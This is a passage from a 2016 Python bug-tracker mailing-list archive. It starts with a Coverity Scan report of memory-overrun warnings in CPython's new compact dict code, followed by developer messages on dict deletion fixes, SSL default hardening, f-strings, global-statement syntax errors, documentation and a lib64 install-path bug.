1134         PyDictKeyEntry *ep;
1135     
1136         assert(k->dk_lookup != NULL);
1137         assert(value != NULL);
1138         assert(key != NULL);

** CID 1372733:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1557 in _PyDict_DelItem_KnownHash()


________________________________________________________________________________________________________
*** CID 1372733:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1557 in _PyDict_DelItem_KnownHash()
1551         mp->ma_used--;
1552         mp->ma_version_tag = DICT_NEXT_VERSION();
1553         if (_PyDict_HasSplitTable(mp)) {
1554             mp->ma_keys->dk_usable = 0;
1555         }
1556         else {
>>>     CID 1372733:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
1557             ep = &DK_ENTRIES(mp->ma_keys)[ix];
1558             dk_set_index(mp->ma_keys, hashpos, DKIX_DUMMY);
1559             ENSURE_ALLOWS_DELETIONS(mp);
1560             old_key = ep->me_key;
1561             ep->me_key = NULL;
1562             Py_DECREF(old_key);

** CID 1372732:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 871 in lookdict_split()


________________________________________________________________________________________________________
*** CID 1372732:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 871 in lookdict_split()
865     lookdict_split(PyDictObject *mp, PyObject *key,
866                    Py_hash_t hash, PyObject ***value_addr, Py_ssize_t *hashpos)
867     {
868         size_t i, perturb;
869         size_t mask = DK_MASK(mp->ma_keys);
870         Py_ssize_t ix;
>>>     CID 1372732:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
871         PyDictKeyEntry *ep, *ep0 = DK_ENTRIES(mp->ma_keys);
872     
873         /* mp must split table */
874         assert(mp->ma_values != NULL);
875         if (!PyUnicode_CheckExact(key)) {
876             ix = lookdict(mp, key, hash, value_addr, hashpos);

** CID 1372731:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 3433 in dictiter_iternextitem()


________________________________________________________________________________________________________
*** CID 1372731:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 3433 in dictiter_iternextitem()
3427         } else {
3428             result = PyTuple_New(2);
3429             if (result == NULL)
3430                 return NULL;
3431         }
3432         di->len--;
>>>     CID 1372731:  Memory - corruptions  (OVERRUN)
>>>     "&d->ma_keys->dk_indices.as_1[d->ma_keys->dk_size * ((d->ma_keys->dk_size <= 255L) ? 1UL : ((d->ma_keys->dk_size <= 65535L) ? 2UL : ((d->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
3433         key = DK_ENTRIES(d->ma_keys)[i].me_key;
3434         value = *value_ptr;
3435         Py_INCREF(key);
3436         Py_INCREF(value);
3437         PyTuple_SET_ITEM(result, 0, key);  /* steals reference */
3438         PyTuple_SET_ITEM(result, 1, value);  /* steals reference */

** CID 1372730:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2333 in PyDict_Merge()


________________________________________________________________________________________________________
*** CID 1372730:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2333 in PyDict_Merge()
2327                    return -1;
2328             ep0 = DK_ENTRIES(other->ma_keys);
2329             for (i = 0, n = other->ma_keys->dk_nentries; i < n; i++) {
2330                 PyObject *key, *value;
2331                 Py_hash_t hash;
2332                 entry = &ep0[i];
>>>     CID 1372730:  Memory - illegal accesses  (OVERRUN)
>>>     Overrunning array of 8 bytes at byte offset 255 by dereferencing pointer "entry".
2333                 key = entry->me_key;
2334                 hash = entry->me_hash;
2335                 if (other->ma_values)
2336                     value = other->ma_values[i];
2337                 else
2338                     value = entry->me_value;

** CID 1372729:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 2756 in dict_popitem()


________________________________________________________________________________________________________
*** CID 1372729:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 2756 in dict_popitem()
2750                 return NULL;
2751             }
2752         }
2753         ENSURE_ALLOWS_DELETIONS(mp);
2754     
2755         /* Pop last item */
>>>     CID 1372729:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
2756         ep0 = DK_ENTRIES(mp->ma_keys);
2757         i = mp->ma_keys->dk_nentries - 1;
2758         while (i >= 0 && ep0[i].me_value == NULL) {
2759             i--;
2760         }
2761         assert(i >= 0);

** CID 1372728:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1734 in _PyDict_Pop()


________________________________________________________________________________________________________
*** CID 1372728:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1734 in _PyDict_Pop()
1728         old_value = *value_addr;
1729         *value_addr = NULL;
1730         mp->ma_used--;
1731         mp->ma_version_tag = DICT_NEXT_VERSION();
1732         if (!_PyDict_HasSplitTable(mp)) {
1733             dk_set_index(mp->ma_keys, hashpos, DKIX_DUMMY);
>>>     CID 1372728:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
1734             ep = &DK_ENTRIES(mp->ma_keys)[ix];
1735             ENSURE_ALLOWS_DELETIONS(mp);
1736             old_key = ep->me_key;
1737             ep->me_key = NULL;
1738             Py_DECREF(old_key);
1739         }

** CID 1372727:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 1200 in dictresize()


________________________________________________________________________________________________________
*** CID 1372727:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 1200 in dictresize()
1194          * and that value is stored in me_value.
1195          * Increment ref-counts and copy values here to compensate
1196          * This (resizing a split table) should be relatively rare */
1197         if (oldvalues != NULL) {
1198             for (i = 0; i < oldkeys->dk_nentries; i++) {
1199                 if (oldvalues[i] != NULL) {
>>>     CID 1372727:  Memory - illegal accesses  (OVERRUN)
>>>     Overrunning array of 8 bytes at byte offset 255 by dereferencing pointer "ep0 + i".
1200                     Py_INCREF(ep0[i].me_key);
1201                     ep0[i].me_value = oldvalues[i];
1202                 }
1203             }
1204         }
1205         /* Main loop */

** CID 1372726:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 479 in new_keys_object()


________________________________________________________________________________________________________
*** CID 1372726:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 479 in new_keys_object()
473         DK_DEBUG_INCREF dk->dk_refcnt = 1;
474         dk->dk_size = size;
475         dk->dk_usable = usable;
476         dk->dk_lookup = lookdict_unicode_nodummy;
477         dk->dk_nentries = 0;
478         memset(&dk->dk_indices.as_1[0], 0xff, es * size);
>>>     CID 1372726:  Memory - corruptions  (OVERRUN)
>>>     Overrunning buffer pointed to by "(PyDictKeyEntry *)&dk->dk_indices.as_1[dk->dk_size * ((dk->dk_size <= 255L) ? 1UL : ((dk->dk_size <= 65535L) ? 2UL : ((dk->dk_size <= 4294967295L) ? 4UL : 8UL)))]" of 8 bytes by passing it to a function which accesses it at byte offset 8. [Note: The source code implementation of the function has been overridden by a builtin model.]
479         memset(DK_ENTRIES(dk), 0, sizeof(PyDictKeyEntry) * usable);
480         return dk;
481     }
482     
483     static void
484     free_keys_object(PyDictKeysObject *keys)

** CID 1372725:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2039 in dict_keys()


________________________________________________________________________________________________________
*** CID 1372725:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2039 in dict_keys()
2033         else {
2034             value_ptr = &ep[0].me_value;
2035             offset = sizeof(PyDictKeyEntry);
2036         }
2037         for (i = 0, j = 0; i < size; i++) {
2038             if (*value_ptr != NULL) {
>>>     CID 1372725:  Memory - illegal accesses  (OVERRUN)
>>>     Overrunning array of 8 bytes at byte offset 255 by dereferencing pointer "ep + i".
2039                 PyObject *key = ep[i].me_key;
2040                 Py_INCREF(key);
2041                 PyList_SET_ITEM(v, j, key);
2042                 j++;
2043             }
2044             value_ptr = (PyObject **)(((char *)value_ptr) + offset);

** CID 1372724:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1684 in _PyDict_Next()


________________________________________________________________________________________________________
*** CID 1372724:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1684 in _PyDict_Next()
1678         PyDictObject *mp;
1679         PyDictKeyEntry *ep0;
1680         Py_ssize_t i = dict_next(op, *ppos, pvalue);
1681         if (i < 0)
1682             return 0;
1683         mp = (PyDictObject *)op;
>>>     CID 1372724:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
1684         ep0 = DK_ENTRIES(mp->ma_keys);
1685         *ppos = i+1;
1686         *phash = ep0[i].me_hash;
1687         if (pkey)
1688             *pkey = ep0[i].me_key;
1689         return 1;

** CID 1372723:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2790 in dict_traverse()


________________________________________________________________________________________________________
*** CID 1372723:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2790 in dict_traverse()
2784         PyDictKeysObject *keys = mp->ma_keys;
2785         PyDictKeyEntry *entries = DK_ENTRIES(mp->ma_keys);
2786         Py_ssize_t i, n = keys->dk_nentries;
2787     
2788         if (keys->dk_lookup == lookdict) {
2789             for (i = 0; i < n; i++) {
>>>     CID 1372723:  Memory - illegal accesses  (OVERRUN)
>>>     Overrunning array of 8 bytes at byte offset 255 by dereferencing pointer "entries + i".
2790                 if (entries[i].me_value != NULL) {
2791                     Py_VISIT(entries[i].me_value);
2792                     Py_VISIT(entries[i].me_key);
2793                 }
2794             }
2795         }

** CID 1372722:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 3261 in dictiter_iternextkey()


________________________________________________________________________________________________________
*** CID 1372722:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 3261 in dictiter_iternextkey()
3255             i++;
3256         }
3257         di->di_pos = i+1;
3258         if (i > n)
3259             goto fail;
3260         di->len--;
>>>     CID 1372722:  Memory - corruptions  (OVERRUN)
>>>     "&k->dk_indices.as_1[k->dk_size * ((k->dk_size <= 255L) ? 1UL : ((k->dk_size <= 65535L) ? 2UL : ((k->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
3261         key = DK_ENTRIES(k)[i].me_key;
3262         Py_INCREF(key);
3263         return key;
3264     
3265     fail:
3266         di->di_dict = NULL;

** CID 1372721:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 626 in lookdict()


________________________________________________________________________________________________________
*** CID 1372721:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 626 in lookdict()
620         PyDictKeyEntry *ep0, *ep;
621         PyObject *startkey;
622     
623     top:
624         dk = mp->ma_keys;
625         mask = DK_MASK(dk);
>>>     CID 1372721:  Memory - corruptions  (OVERRUN)
>>>     "&dk->dk_indices.as_1[dk->dk_size * ((dk->dk_size <= 255L) ? 1UL : ((dk->dk_size <= 65535L) ? 2UL : ((dk->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
626         ep0 = DK_ENTRIES(dk);
627         i = (size_t)hash & mask;
628     
629         ix = dk_get_index(dk, i);
630         if (ix == DKIX_EMPTY) {
631             if (hashpos != NULL)

** CID 1372720:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 996 in find_empty_slot()


________________________________________________________________________________________________________
*** CID 1372720:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 996 in find_empty_slot()
990     find_empty_slot(PyDictObject *mp, PyObject *key, Py_hash_t hash,
991                     PyObject ***value_addr, Py_ssize_t *hashpos)
992     {
993         size_t i, perturb;
994         size_t mask = DK_MASK(mp->ma_keys);
995         Py_ssize_t ix;
>>>     CID 1372720:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
996         PyDictKeyEntry *ep, *ep0 = DK_ENTRIES(mp->ma_keys);
997     
998         assert(hashpos != NULL);
999         assert(key != NULL);
1000         if (!PyUnicode_CheckExact(key))
1001             mp->ma_keys->dk_lookup = lookdict;

** CID 1372719:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2522 in dict_equal()


________________________________________________________________________________________________________
*** CID 1372719:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2522 in dict_equal()
2516             else
2517                 aval = ep->me_value;
2518             if (aval != NULL) {
2519                 int cmp;
2520                 PyObject *bval;
2521                 PyObject **vaddr;
>>>     CID 1372719:  Memory - illegal accesses  (OVERRUN)
>>>     Overrunning array of 8 bytes at byte offset 255 by dereferencing pointer "ep".
2522                 PyObject *key = ep->me_key;
2523                 /* temporarily bump aval's refcount to ensure it stays
2524                    alive until we're done with it */
2525                 Py_INCREF(aval);
2526                 /* ditto for key */
2527                 Py_INCREF(key);

** CID 1372718:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1667 in PyDict_Next()


________________________________________________________________________________________________________
*** CID 1372718:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1667 in PyDict_Next()
1661         Py_ssize_t i = dict_next(op, *ppos, pvalue);
1662         if (i < 0)
1663             return 0;
1664         mp = (PyDictObject *)op;
1665         *ppos = i+1;
1666         if (pkey)
>>>     CID 1372718:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
1667             *pkey = DK_ENTRIES(mp->ma_keys)[i].me_key;
1668         return 1;
1669     }
1670     
1671     /* Internal version of PyDict_Next that returns a hash value in addition
1672      * to the key and value.

** CID 1372717:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 729 in lookdict_unicode()


________________________________________________________________________________________________________
*** CID 1372717:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 729 in lookdict_unicode()
723     lookdict_unicode(PyDictObject *mp, PyObject *key,
724                      Py_hash_t hash, PyObject ***value_addr, Py_ssize_t *hashpos)
725     {
726         size_t i, perturb;
727         size_t mask = DK_MASK(mp->ma_keys);
728         Py_ssize_t ix, freeslot;
>>>     CID 1372717:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
729         PyDictKeyEntry *ep, *ep0 = DK_ENTRIES(mp->ma_keys);
730     
731         assert(mp->ma_values == NULL);
732         /* Make sure this function doesn't have to handle non-unicode keys,
733            including subclasses of str; e.g., one reason to subclass
734            unicodes is to override __eq__, and for speed we don't cater to

** CID 1372716:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1255 in make_keys_shared()


________________________________________________________________________________________________________
*** CID 1372716:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1255 in make_keys_shared()
1249                 /* Remove dummy keys */
1250                 if (dictresize(mp, DK_SIZE(mp->ma_keys)))
1251                     return NULL;
1252             }
1253             assert(mp->ma_keys->dk_lookup == lookdict_unicode_nodummy);
1254             /* Copy values into a new array */
>>>     CID 1372716:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
1255             ep0 = DK_ENTRIES(mp->ma_keys);
1256             size = USABLE_FRACTION(DK_SIZE(mp->ma_keys));
1257             values = new_values(size);
1258             if (values == NULL) {
1259                 PyErr_SetString(PyExc_MemoryError,
1260                     "Not enough memory to allocate new values array");

** CID 1372715:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 962 in _PyDict_MaybeUntrack()


________________________________________________________________________________________________________
*** CID 1372715:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 962 in _PyDict_MaybeUntrack()
956         PyDictKeyEntry *ep0;
957     
958         if (!PyDict_CheckExact(op) || !_PyObject_GC_IS_TRACKED(op))
959             return;
960     
961         mp = (PyDictObject *) op;
>>>     CID 1372715:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
962         ep0 = DK_ENTRIES(mp->ma_keys);
963         numentries = mp->ma_keys->dk_nentries;
964         if (_PyDict_HasSplitTable(mp)) {
965             for (i = 0; i < numentries; i++) {
966                 if ((value = mp->ma_values[i]) == NULL)
967                     continue;

----------
messages: 275307
nosy: christian.heimes, haypo, methane, xiang.zhang
priority: high
severity: normal
stage: needs patch
status: open
title: Coverity Scan defects in new dict code
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28042>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:11:20 2016
From: report at bugs.python.org (INADA Naoki)
Date: Fri, 09 Sep 2016 11:11:20 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473419480.2.0.439504539996.issue28040@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


Added file: http://bugs.python.org/file44498/fix-compact-dict-deletion.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:13:40 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 11:13:40 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473419620.44.0.469291999059.issue28022@psf.upfronthosting.co.za>


Christian Heimes added the comment:

In the mean time I have reconsidered my position. How about we *document* that a future version of Python will very all TLS/SSL connections by default. Users have to explicitly pass an unverified context if they still want the old behavior.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:17:11 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Fri, 09 Sep 2016 11:17:11 +0000
Subject: [issue27948] f-strings: allow backslashes only in the string parts,
 not in the expression parts
In-Reply-To: <1472909045.16.0.0196162777566.issue27948@psf.upfronthosting.co.za>
Message-ID: <1473419831.95.0.939992428526.issue27948@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

Updated patch, works against HEAD. I added a few tests and tweaked some comments. My goal is to commit this today, before the 3.6b1 cutoff. I don't think there's much risk to it.

I still need to update the PEP.

----------
Added file: http://bugs.python.org/file44499/27948-2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27948>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:18:42 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 11:18:42 +0000
Subject: [issue28043] Sane defaults for SSLContext options and ciphers
Message-ID: <1473419921.81.0.961538270346.issue28043@psf.upfronthosting.co.za>


New submission from Christian Heimes:

I like to introduce sane defaults for SSLContext options and ciphers:

Changed in version 3.6: The context is created with more secure default values. PROTOCOL_TLS is the default protocol. The options OP_NO_COMPRESSION, OP_CIPHER_SERVER_PREFERENCE, OP_SINGLE_DH_USE, OP_SINGLE_ECDH_USE, OP_NO_SSLv2 (except for PROTOCOL_SSLv2), and OP_NO_SSLv3 (except for PROTOCOL_SSLv3) are set by default. The initial cipher suite list contains only HIGH ciphers, no NULL ciphers and MD5 ciphers (except for PROTOCOL_SSLv2).

----------
components: Extension Modules, Library (Lib)
files: Sane-defaults-for-SSLContext-options-and-ciphers.patch
keywords: patch
messages: 275310
nosy: alex, christian.heimes, dstufft, giampaolo.rodola, janssen, ncoghlan
priority: high
severity: normal
stage: patch review
status: open
title: Sane defaults for SSLContext options and ciphers
type: security
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44500/Sane-defaults-for-SSLContext-options-and-ciphers.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28043>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:23:49 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 09 Sep 2016 11:23:49 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473420228.99.0.655116370934.issue28040@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Are you sure INADA? The previous dict implementation has the same constraint but does merge in dict_pop.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:24:49 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 09 Sep 2016 11:24:49 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473420289.17.0.288878825602.issue28040@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

does should be does not. Sorry.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 08:00:54 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Fri, 09 Sep 2016 12:00:54 +0000
Subject: [issue21879] str.format() gives poor diagnostic on placeholder
 mismatch
In-Reply-To: <1404052648.46.0.81950938275.issue21879@psf.upfronthosting.co.za>
Message-ID: <1473422454.35.0.989313184212.issue21879@psf.upfronthosting.co.za>


Changes by Eric V. Smith <eric at trueblade.com>:


----------
assignee:  -> eric.smith
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21879>
_______________________________________

From report at bugs.python.org  Fri Sep  9 08:01:43 2016
From: report at bugs.python.org (Petr Viktorin)
Date: Fri, 09 Sep 2016 12:01:43 +0000
Subject: =?utf-8?q?=5Bissue27910=5D_Doc/library/traceback=2Erst_=E2=80=94_referenc?=
 =?utf-8?q?es_to_tuples_should_be_replaced_with_new_FrameSummary_object?=
In-Reply-To: <1472637889.08.0.384463773035.issue27910@psf.upfronthosting.co.za>
Message-ID: <1473422503.71.0.878306546393.issue27910@psf.upfronthosting.co.za>


Petr Viktorin added the comment:

This was a deliberate change in 3.5.

Issue: https://bugs.python.org/issue17911
News entry: https://docs.python.org/3/whatsnew/3.5.html#traceback

Why do you think it is a regression?
Who would be the person that can decide if it is a doc bug or regression?

----------
nosy: +encukou

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27910>
_______________________________________

From report at bugs.python.org  Fri Sep  9 08:13:10 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Fri, 09 Sep 2016 12:13:10 +0000
Subject: [issue27999] Make "global after use" a SyntaxError
In-Reply-To: <1473257318.94.0.500780981255.issue27999@psf.upfronthosting.co.za>
Message-ID: <1473423190.29.0.419504247084.issue27999@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

I am attaching the patch.

Yury, I also added you here, just in case you have time for this.

Btw, while working on this I have found that the second restriction:

"""
Names listed in a global statement must not be ... in a for loop control target, class definition, function definition, or import statement.
"""

is not enforced at all, it does not give even a SyntaxWarning.
Is it something worth fixing?

----------
keywords: +patch
nosy: +yselivanov
Added file: http://bugs.python.org/file44501/patch-v1.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27999>
_______________________________________

From report at bugs.python.org  Fri Sep  9 08:22:07 2016
From: report at bugs.python.org (Batiste)
Date: Fri, 09 Sep 2016 12:22:07 +0000
Subject: [issue28044] Make the sidebar in the documentation follow the section
 automatically
Message-ID: <1473423727.81.0.401970346659.issue28044@psf.upfronthosting.co.za>


New submission from Batiste:

Hi,

Here is a small patch for the documentation that make the sidebar follow the headers while scrolling through a long page.

http://imgur.com/UsrFAti

Test on Chrome and Firefox. Seems to work like a charm.

----------
assignee: docs at python
components: Documentation
files: following-sidebar.patch
keywords: patch
messages: 275315
nosy: batiste, docs at python
priority: normal
severity: normal
status: open
title: Make the sidebar in the documentation follow the section automatically
type: enhancement
Added file: http://bugs.python.org/file44502/following-sidebar.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28044>
_______________________________________

From report at bugs.python.org  Fri Sep  9 09:57:39 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Fri, 09 Sep 2016 13:57:39 +0000
Subject: [issue26971] python v3.5.1: sys.paths not respecting DESTDIRS and
 DESTSHARED
In-Reply-To: <1462628482.0.0.926875224828.issue26971@psf.upfronthosting.co.za>
Message-ID: <1473429459.72.0.143960336365.issue26971@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

The problem can be reproduced as follows:

Run the following commands to install python with a site configuration file that installs the libraries to lib64:

  export INSTALL_DIR=/some/path/to/install
  mkdir -p $INSTALL_DIR/share
  echo "test \"\$libdir\" = '\${exec_prefix}/lib' && libdir='\${exec_prefix}/lib64'" > $INSTALL_DIR/share/config.site
  ./configure --prefix=$INSTALL_DIR && make install

Check that the libraries have been installed to lib64 and that python fails to find them:

$ find $INSTALL_DIR -name lib-dynload
/some/path/to/install/lib64/python3.6/lib-dynload

$ $INSTALL_DIR/bin/python3 -E
Could not find platform dependent libraries <exec_prefix>
Consider setting $PYTHONHOME to <prefix>[:<exec_prefix>]
Python 3.6.0a4+ (default:98a57845c8cc, Sep  9 2016, 15:34:27) 
[GCC 6.1.1 20160707] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/some/path/to/install/lib/python3.6/base64.py", line 10, in <module>
    import struct
  File "/some/path/to/install/lib/python3.6/struct.py", line 13, in <module>
    from _struct import *
ModuleNotFoundError: No module named '_struct'
>>>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26971>
_______________________________________

From report at bugs.python.org  Fri Sep  9 10:06:53 2016
From: report at bugs.python.org (INADA Naoki)
Date: Fri, 09 Sep 2016 14:06:53 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473420228.99.0.655116370934.issue28040@psf.upfronthosting.co.za>
Message-ID: <CAEfz+Ty-RBUtfuGOuGcSX05UMaijiR+2ZqNog6HfPN7noD0APQ@mail.gmail.com>


INADA Naoki added the comment:

> Xiang Zhang added the comment:
>
> Are you sure INADA? The previous dict implementation has the same constraint but does merge in dict_pop.
>

Yes.  New dict implementation preserves insertion order.

class A:
    ...

a, b = A(), A()
a.a, a.b, a.c = 1, 2, 3
b.a, b.b, b.c = 4, 5, 6
del a.b  # or a.pop('b')
a.b = 7

assert list(a.__dict__) == ["a", "c", "b"]
assert list(b.__dict__) == ["a", "b", "c"]

This is difficult for key-sharing dict (aka. split table).

We may be able to allow some simple del and pop operation for split table.
But we should keep best balance between simplicity and efficiency.
And we don't have enough time before 3.6b1.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 10:18:51 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Fri, 09 Sep 2016 14:18:51 +0000
Subject: [issue27999] Make "global after use" a SyntaxError
In-Reply-To: <1473257318.94.0.500780981255.issue27999@psf.upfronthosting.co.za>
Message-ID: <1473430731.24.0.35925122504.issue27999@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Added few tests to the patch

----------
Added file: http://bugs.python.org/file44503/patch-v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
